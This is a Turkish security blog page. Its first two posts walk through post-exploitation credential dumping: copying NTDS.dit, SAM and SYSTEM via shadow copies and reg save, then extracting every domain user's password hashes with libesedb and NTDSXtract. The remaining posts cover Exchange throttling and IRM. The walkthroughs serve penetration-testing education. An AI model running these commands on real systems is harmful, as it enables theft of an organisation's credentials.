26 Temmuz 2013 Cuma

Post Exploitation: Etki Alanındaki Bütün Kullanıcıların Parola Özetlerinin Elde Edilmesi

Post Exploitation: Etki Alanındaki Bütün Kullanıcıların Parola Özetlerinin Elde Edilmesi


Sızma testi sırasında DC ele geçirildikten sonra gerçekleştirilecek adımlardan birisi etki alanındaki tüm kullanıcıların parolasının elde edilmesi gerekebilir. Bu amaçla, MSF smart_hashdump modülü kullanılabilir. Ancak DC gibi kritik bir makineye MSF ile bağlanmak istenmeyen şeylere sebep olabilir. Bu sebeple, sisteme daha az zarar verme ihtimali olan yöntemler kullanılması gerekebilir.

Bu yazıda DC'ye yetkili kullanıcı hakkı ile erişim elde ettikten sonra, NTDS.dit ve SYSTEM dosyaları elde edilecek ve daha sonra da kullanıcı parolalarının özeti elde edilecektir.

1) NTDS.dit ve SYSTEM Dosyalarının Elde Edilmesi

Etki alanı nesnelerine ait bilgiler temel olarak NTDS.dit dosyasında bulunmaktadır diyebiliriz. Bu dosya da SYSTEM dosyasındaki bir anahtarla (SYSKEY) şifrelenmiştir. Bu 2 dosya elde edilirse, etki alanındaki kullanıcıların parola özetleri elde edilebilir. Ancak bu 2 dosyaya erişim işletim sistemi tarafından engellenmiştir. Bu amaçla, Volume Shadow Copy kullanılabilir.

Shadow kopya oluşturmak için, öncelikle, işletim sisteminin kurulu olduğu ve NTDS.dit dosyasının tutulduğu disk'te "Configure Shadow Copies..." seçimi yapılır.


Sonrasında seçilen alan Shadow kopya oluşturma özelliği aktifleştirilir.


Uyarı mesajı gelirse, bu mesaj onaylanır.


Böylece ilk kopya oluşturulmuştur:


Shadow kopya oluşturma işlemi "Disable" butonu ile iptal edilebilir veya Setting butonu ile konfigüre edilebilir.


Oluşan Shadow kopya içerisinden NTDS.dit ve SYSTEM dosyalarını elde etmek için öncelikle tüm shadow kopyalar listelenir:
vssadmin.exe list shadows


Bu örnekte tek bir kere Shadow kopyası oluşturulduğu için, bir adet Shadow kopya listenmiştir. Bu dizin "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1" olarak belirtilmiştir. En sondaki ID değeri her Shadow için bir artacaktır.

Bu Shadow kopya içerisindeki NTDS.dit ve SYSTEM dosyaları herhangi bir yere (C:\Users\Administrators\Desktop gibi) kaydedilebilir.
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\Users\Administrator\Desktop
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\config\SYSTEM C:\Users\Administrator\Desktop


Elde edilen bu dosyalar Kali bir makinenin üzerine alınabilir. Ancak etki alanında çok fazla nesnenin olması bu dosyaların boyutunun artmasına sebep olacaktır. Bu durum da ağ üzerinde anormallik tespiti yapan ürünlerin (ADS gibi) alarm üretmesine sebep verebilir.



Not: DC'nin arayüzüne erişmeden, komut satırını kullanılarak da Shadow kopya elde edilebilir:
vssadmin create shadow /for=c:


Not: SYSTEM dosyası komut satırından ele geçirmek için Shadow kopyası oluşturmaya gerek yoktur. Aşağıdaki komutun çalışması yeterlidir:
reg SAVE HKLM/SYSTEM C:\SYSTEM_Dosyasi


Bu dosyalar Kali bilgisayarın root masaüstüne kaydedilir.

2) Elde Edilen Dosyalardan Etki Alanındaki Kullanıcıların Parola Özetlerinin Elde Edilmesi


Bu başlıkta, kopyalanan NTDS.dit ve SYSTEM dosyaları kullanılarak, etki alanındaki kullanıcı parolaları elde edilecektir. Bu amaçla önce NTDS.dit veritabanından ilgili tablolar çekilecek, daha sonra da bu tablolardan istenen hesap bilgileri çekilecektir. Bu işlem için Google Code üzerindeki "libesedb" aracı kullanılabilir.


Harici linke erişildiğinde araç görülmektedir:


Araç Kali üzerine indirilir.
wget https://255adcba056b7d59fd55a94f0ea02de0cf110bfb.googledrive.com/host/0B3fBvzttpiiSN082cmxsbHB0anc/libesedb-alpha-20120102.tar.gz --no-check-certificate



Sıkıştırılmış dosya çıkarılır.
gunzip libesedb-alpha-20120102.tar.gz
tar -xvf libesedb-alpha-20120102.tar


Konfigürasyon işlemi gerçekleştirilir.
ls
cd libesedb-20120102/
ls
ls -la configure
chmod +x configure
ls -la configure
./configure && make


Sonrasında da esedbtools/ klasörüne girilerek /root/Desktop dizinine koyulan ntds.dit dosyasındaki tablolar dışarıya aktarılır.
cd esedbtools/
ls
./esedbexport /root/Desktop/ntds.dit


Dışa aktarım sonrası durum aşağıdaki gibidir:
ls
cd ntds.dit.export/
ls


Daha sonra dışa aktarılan tabloları kullanarak etki alanındaki kullanıcıların parolalarını elde etmek için NTDSXTRACT aracının ana sayfasına girilir.


Aracın 1.0 sürümü indirilir
cd /root/
wget http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip
ls
unzip ntdsxtract_v1_0.zip


Amaç, etki alanı kullanıcılarının parola özetini almak olduğu için dsusers.py betiği kullanılacaktır. Bu betik parametre olarak NTDS.dit içerisinden çıkartılmış olan veri tablosunu ve link tablosunu almakta, ayrıca SYSTEM hive dosyasını da kullanmaktadır.
ls
cd NTDSXtract\ 1.0/
ls
python ./dsusers.py /root/libesedb-20120102/esedbtools/ntds.dit.export/datatable.3 /root/libesedb-20120102/esedbtools/ntds.dit.export/link_table.5 --passwordhashes /root/Desktop/SYSTEM


Böylece etki alanındaki kullanıcıların parola özetleri bu şekilde elde edilmiştir.

25 Temmuz 2013 Perşembe

İpucu: Kayıt Defteri’nden SAM ve SYSTEM Dosyalarının Elde Edilmesi

İpucu: Kayıt Defteri’nden SAM ve SYSTEM Dosyalarının Elde Edilmesi

Bir bilgisayardaki yerel hesapların parolaları LM ve NTLM ile özetlenerek, SYSKEY adlı verilen bir anahtarla da şifrelenerek Security Accounts Manager (SAM) dosyasında (veritabanında) tutulur. SYSKEY adı verilen bu anahtar SYSTEM dosyası içerisinde bulunur. SAM ve SYSTEM dosyaları, %SystemRoot%\System32\Config dizininde saklanır. Ancak işletim sistemi çalışıyorken bu dosyalara erişimler yasaklanmıştır. Bu sebeple, yerel kullanıcıların parolalarına ait özet bilgileri, bilgisayar çevrimdışı hale getirilerek alınabilir. Bunun için, bilgisayar USB/CD ile başlatılıp,  SAM ve SYSTEM dosyaları alınır.

  • http://www.bilgiguvenligi.gov.tr/donanim-guvenligi/sam-dosyasi-ve-ramdeki-bilgilerin-guvenligi-2.html
  • http://ertugrulbasaranoglu.blogspot.com/2012/12/ipucu-makineye-fiziksel-olarak-eriserek.html

Bunun yanında bilgisayarda yerel yönetici hakları elde edilebilmişse, çevrimiçi yollarla da parola özetleri elde edilebilir. Cain & Abel uygulaması bu amaçla kullanılabilir.

Ayrıca, SAM ve SYSTEM dosyaları kayıt defterinden de alınabilir. Bu işlem için, komut satırı yönetici modunda açılır ve aşağıdaki 2 komut çalıştırılabilir.

  • reg save HKLM\SAM "C:\Users\Yerel Yonetici\Desktop\SAM”
  • reg save HKLM\SYSTEM "C:\Users\Yerel Yonetici\Desktop\SYSTEM”


Bu dosyalardaki yerel kullanıcı parolalarının özetleri Ophcrack veya Cain & Abel gibi uygulamalarla elde edilebilir.

6 Temmuz 2013 Cumartesi

Exchange Server: Throttling Parameters and Policies

Exchange Server: Throttling Parameters and Policies

Exchange ortamındaki kaynaklar sistemin performansı üzerinde önemli bir role sahiptir. Bu kaynakların en uygun şekilde kullanılması gerekmektedir. Aksi halde güvenliğin temellerinden olan “Availability” zarar görür. Bu sebeple; HTS, ETS, MBS ve CAS üzerinde kaynak kontrolü için Throttling  İlkeleri adı verilen kurallar uygulanmaktadır. Kısacası, Throttling ilkeleri sunucularda kaynakların yetersiz durumuna gelmesini önlemek için posta ve bağlantılara konulan limittir. Böylece hem DoS gibi saldırılara karşı önlem alınmakta, hem de sistemin işleyişi kontrol altında tutulmaktadır.
Microsoft Exchange Throttling servisi, MBS üzerinde çalışması gereken kritik bir servistir.

HTS & ETS için kurallar
Bu sunucular taşıdıkları postalar için maliyet bilgisini tutarlar. Taşınan postanın maliyeti yüksek ise öncelik maliyeti daha düşük olan postaya verilir. Bu önceliklendirmenin yanında bir takım kısıtlar uygulanır. Bu kısıtlar, HTS ve ETS rollerine sahip sunucularda bulunan Send ve Receive Konektörleri üzerinde uygulanmaktadır. Uygulanabilecek bazı kısıtlamalar şu şekildedir:
  • HTS’nin, MBS’a posta göndermek için veya MBS’dan mail alabilmek için açabileceği en fazla iş parçacığı(threads) sayısı kısıtlanmalıdır.
  • ETS’a veya HTS’a  bir dakikada açılabilecek en fazla bağlantı sayısı kısıtlanabilir. Bu kısıtlama gelen postalar için Receive Konektör’de, giden postalar için Send Konektörde ayarlama yapılmalıdır. Ayrıca kısıtlama belli bir kaynak veya hedef ile olan iletişim için de belirlenebilir. Limit belirtilmezse, saldırı sırasında bağlantı sayısı çok artış gösterir ve posta ile iletişim gerçekleştirilemez. Ayrıca belli bir domaine giden posta sayısının kısıtlanması da sağlanmalıdır.
  • Açık bir SMTP bağlantısının posta alımı veya gönderimi yapılmadan geçen süre için zaman aşımı uzunluğu kısıtlanmalıdır.
  • Posta alınmasının devam etse bile, Receive Konektörü’nün bir bağlantıyı sürdürmesi için gerekli zaman aşımı süresi kısıtlanmalıdır.
  • Bir SMTP bağlantısı boyunca, Send Konektör’ünden gönderilebilecek en fazla posta sayısı kısıtlanmalıdır.
  • Tarpitting aralığı makul bir süre olarak belirlenmelidir.

CAS & MBS için kurallar
Bir kullanıcının yapacağı işlem tüm sistem üzerine çok büyük bir yük getirebilir. Örneğin bir arama işlemi bile sistemi çok fazla yorabilir. MBS, RPC yoğunluğunun arttığını tespit ettiğinde kaynak kısıtlamasına giderek interaktif kullanıcılara öncelik verir. Bu önceliklendirmenin yanında bir takım kısıtlar uygulanır. Uygulanabilecek bazı kısıtlamalar şu şekildedir:
  • POP3 komut büyüklüğü kısıtlanmalıdır.
  • Sunucunun kabul edeceği gelebilecek POP3 ve IMAP4 bağlantı sayısı kısıtlanmalıdır. Bu kısıtlama IP bazında, kullanıcı bazında veya toplam bağlantı sayısı bazında gerçekleştirilmelidir.
  • CAS bağlantısı öncesi, kimlik doğrulama süresi kısıtlanmalıdır.
  • CAS bağlantısı olan kullanıcının oturumu, bir süre işlem yapılmazsa zaman aşımına uğramalıdır.
  • Bir istemcinin CAS üzerinde gerçekleştireceği işlemlerin süresi kısıtlanmalıdır. Bu süre; AD ile olan kimlik doğrulama için gerekli LDAP sorgu süresi, MBS ile olan RPC talebi süresi ve CAS üzerinde gerçekleştirilen işlemler için geçen sürenin toplamıdır. Bu süreler için kısıtlama ayrı ayrı olarak da gerçekleştirilmelidir.
  • Bir kullanıcının postayı en fazla iletebileceği ve gönderebileceği alıcı sayısı kısıtlanabilir. Bunun yanında bir kullanıcının gönderebileceği en fazla posta sayısı için de kısıt uygulanabilir.
  • ActiveSync  ile kurulabileceği ve silebileceği ortaklık sayısı kısıtlanabilir.
  • Exchange Web Services, OWA, POP, RCA (RPC Client Access) veya ActiveSync kullanıcısının aynı anda yapabileceği bağlantı sayısı kısıtlanabilir.
  • Bir posta içeriğinin veya ekinin büyüklüğü kısıtlanmalıdır. Böylece hem MBS üzerinde kaplanılan alan, hem de kullanılan bant genişliği kontrol altına alınır.
Parametreler ayarlanırken hiçbir parametre değerinin $null olarak ayarlanmaması tavsiye edilmektedir.


Exchange Server: Information Rights Management (IRM)

Exchange Server: Information Rights Management (IRM)
Mesajlaşma güvenliği için kullanılan tekniklerin bir takım eksiklikleri bulunmaktadır. Örneğin, TLS ile, iki SMTP makinesi arasındaki SMTP trafiği korunabilmektedir. Posta seviyesinde bir koruma gerçekleştirilememektedir. Posta, istemci tarafına ulaştıktan sonra herhangi bir koruma sağlamamaktadır. S/MIME ile PKI kurulmasında ise özel anahtarların saklanması, yapılan işlemlerin maliyeti problem olmaktadır. Bunun yanında posta deşifre edildikten sonra herhangi bir kontrol mekanizması da sunulmamaktadır. Posta şifresiz olarak kopyalanabilir, çıktı olarak alınabilir veya bir başka kullanıcıya iletilebilir. Kısacası, TLS ve S/MIME gibi güvenlik metotlarının belirtilen sınırları için yeni bir teknik uygulanmaya başlanmıştır: Information Rights Management (IRM)
IRM ile veri kaçağına, imaj kaybına, finansal kayba karşı önlem alınır.

IRM ile posta gönderildikten sonra, alıcı tarafında posta içeriği ve ekleri üzerinde ne gibi işlemlerin gerçekleştirilebileceği belirlenebilir. IRM kısıtları şu şekildedir (Bunlar AD RMS için geçerli):

  • Full Control: Her işlem gerçekleştirilebilir.
  • View: İçerik açılabilir.
  • Edit: İçerik değiştirilebilir.
  • Save: Kaydedilebilir.
  • Copy: İçerik kopyalanabilir.
  • Save: Kaydedilebilir.
  • Print: İçerik çıktısı alınabilir.
  • Access the message programmatically: Makro gibi programlar çalıştırılabilir.
  • Forward: Posta iletilebilir.
  • Reply: Gönderene cevap verilebilir.
  • Reply All: Gönderene alıcı listesindekilerle beraber cevap gönderilebilir.


IRM ajanları HTS üzerinde çalışır. Bunun yanında, Active Directory Rights Management Services (AD RMS) ile de kullanılabilir. IRM koruması, AD RMS ilkelerinde belirlenerek gerçekleştirilir. IRM koruması Exchange Server 2010 ortamında şu yollarla gerçekleştirilebilir:

  • Outlook kullanıcıları manuel olarak IRM korumalı posta oluşturabilirler.
  • OWA kullanıcıları manuel olarak IRM korumalı posta oluşturabilirler.
  • ActiveSync aygıtları ve Windows Mobile kullanıcıları manuel olarak IRM korumalı posta oluşturabilirler. Windows mobile desteği olmayan cihazlarla da bu mesajlar alınabilir ve görüntülenebilir. Bunun için posta indirilmeden önce CAS’a SSL ile bağlanılmalıdır. Posta şifresi bağlantı kurulduktan sonra  çözülmektedir.
  • Outlook 2010 kullanıcıları kural oluşturarak otomatik olarak IRM korumalı posta oluşturabilirler.
  • Exchange Server 2010 HTS rolüne sahip sunucuda iletim kuralları ile otomatik olarak IRM korumalı posta oluşturulabilinir. 

IRM korumalı posta iletişimi organizasyon dahilindeki etki alanında, farklı forest’ları arasında, bulut tabanlı Exchange ortamları arasında gerçekleşebilir. Farklı bir federasyonda veya güven ilişkisinin olmadığı sistemlerle olan iletişimde kullanılamaz. Kullanılması için Windows Live ID hesabı ile AD RMS arasında bir güven kurulabilir.
IRM ile posta içeriğinin organizasyon tarafınca okunabileceği de unutulmamalıdır. Bu sebeple, S/MIME koruması aksine, IRM korumalı içerik deşifre edilerek taranabilir, politikalara göre filtreleme gerçekleştirilebilir. Ayrıca yasal denetimler için de kullanılabilir.

IRM’in eksiklikleri şunlardır:

  • Postanın Windows Snipping Tool harici 3. taraf bir ekran kopyalama aracı ile ekran görüntüsü alınabilir.
  • Kamera veya fotoğraf makinesi ile posta görüntülenebilir.
  • El ile yazılarak veya ezberlenerek veri kaçağı gerçekleşebilir.
  • Bir zararlı tarafından posta içeriği silinebilir, çalınabilir, bozulabilir.